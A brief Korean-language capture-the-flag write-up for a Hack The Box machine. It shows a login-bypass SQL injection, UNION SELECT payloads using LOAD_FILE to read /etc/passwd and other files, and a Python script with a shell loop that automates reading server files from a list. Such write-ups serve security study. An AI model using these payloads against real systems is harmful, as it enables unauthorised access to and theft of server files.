HTB-Devzat Write up
golang, git-dumper
gobuster를 사용하여 디렉토리 탐색 시 /administrative 페이지 발견
로그인 페이지에서 SQL injection 시도 시 admin 으로 접속 가능
추측하기 에 SQL query는 아래와 같아 sql injection이 가능한거같다.
Select * from users where username = $USER and password = $PASSWORD
sql inject이 가능하기에 union을 사용하여 파일 읽기가 가능
admin' union select 1,2,3,4,5,6 -- - &password=admin
admin' union select 1,LOAD_FILE("/etc/passwd"),3,4,5,6-- - &password=admin
1. requests를 사용하여 인자를 받는 스크립트 제작
2. regex를 사용하여 공격구문만 잘르기 (admin으로 시작, h3로 끝남)
3. files 디렉토리에 결과값을 저장하는 스크립트 작성
import requests
import sys
import re
regex = re.compile(r"admin(.*)</h3>", re.DOTALL)
data = { "uname" : f"admin' union select 1,LOAD_FILE(\"{sys.argv[1]}\"),3,4,5,6-- -", "password":"password" }
r = requests.post('http://10.10.11.101/administrative', data=data)
match = re.search(regex,r.text)
fname = sys.argv[1].replace("/","_")[1:]
if match.group(1) != 'None':
with open ( 'files/' + fname, 'w') as f:
f.write(match.group(1))
4. lfi 목록을 받아와 접속이 가능한 파일의 내용을 저장
lfi 리스트
for i in $(cat lfi.txt); do python3 req.py $i; done